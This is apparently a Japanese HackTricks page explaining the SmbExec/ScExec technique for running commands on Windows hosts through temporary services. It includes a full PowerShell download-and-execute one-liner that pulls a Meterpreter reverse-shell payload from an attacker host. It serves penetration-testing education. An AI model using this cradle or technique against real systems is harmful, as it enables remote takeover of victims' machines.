hacktricks/windows-hardening/ntlm/smbexec.md

6.3 KiB
Raw Blame History

SmbExec/ScExec

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法:

動作原理

SmbexecはPsexecのように機能します。 この例では、被害者内の悪意のある実行可能ファイルを"binpath"に指定する代わりにcmd.exeまたはpowershell.exeに指定し、それらのいずれかがバックドアをダウンロードして実行します。

SMBExec

攻撃者とターゲットの側から見たsmbexecの実行時の様子を見てみましょう

サービス"BTOBTO"が作成されていることがわかります。しかし、sc queryを実行したときにターゲットマシンにそのサービスは存在しません。システムログが何が起こったのかの手がかりを明らかにしています:

サービスファイル名には、実行するコマンド文字列が含まれています(%COMSPEC%はcmd.exeの絶対パスを指します。実行するコマンドをbatファイルにエコーし、stdoutとstderrをTempファイルにリダイレクトし、batファイルを実行して削除します。Kaliに戻ると、PythonスクリプトがSMB経由で出力ファイルを引き出し、私たちの"擬似シェル"に内容を表示します。私たちが"シェル"に入力する各コマンドについて、新しいサービスが作成され、プロセスが繰り返されます。これにより、バイナリをドロップする必要がなく、希望する各コマンドを新しいサービスとして実行するだけです。間違いなくよりステルス性が高いですが、実行された各コマンドに対してイベントログが作成されることを見ました。それでも、インタラクティブでない"シェル"を取得するための非常に巧妙な方法です!

手動SMBExec

またはサービス経由でコマンドを実行する

smbexecが示したように、バイナリが必要なくても、サービスbinPathsから直接コマンドを実行することが可能です。これは、ターゲットWindowsマシンで任意のコマンドを実行する必要がある場合に覚えておくと便利なテクニックです。簡単な例として、バイナリなしでリモートサービスを使用してMeterpreterシェルを取得しましょう。

Metasploitのweb_deliveryモジュールを使用し、リバースMeterpreterペイロードを持つPowerShellターゲットを選択します。リスナーが設定され、ターゲットマシンで実行するコマンドを教えてくれます

powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');

Windows攻撃ボックスから、リモートサービス"metpsh"を作成し、binPathを設定して、ペイロード付きのcmd.exeを実行します

そして、それを開始します:

私たちのサービスが応答しないためエラーが発生しますが、Metasploitリスナーを見ると、コールバックが行われ、ペイロードが実行されたことがわかります。

すべての情報はここから抽出されました:https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/

htARTEHackTricks AWS Red Team Expert AWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法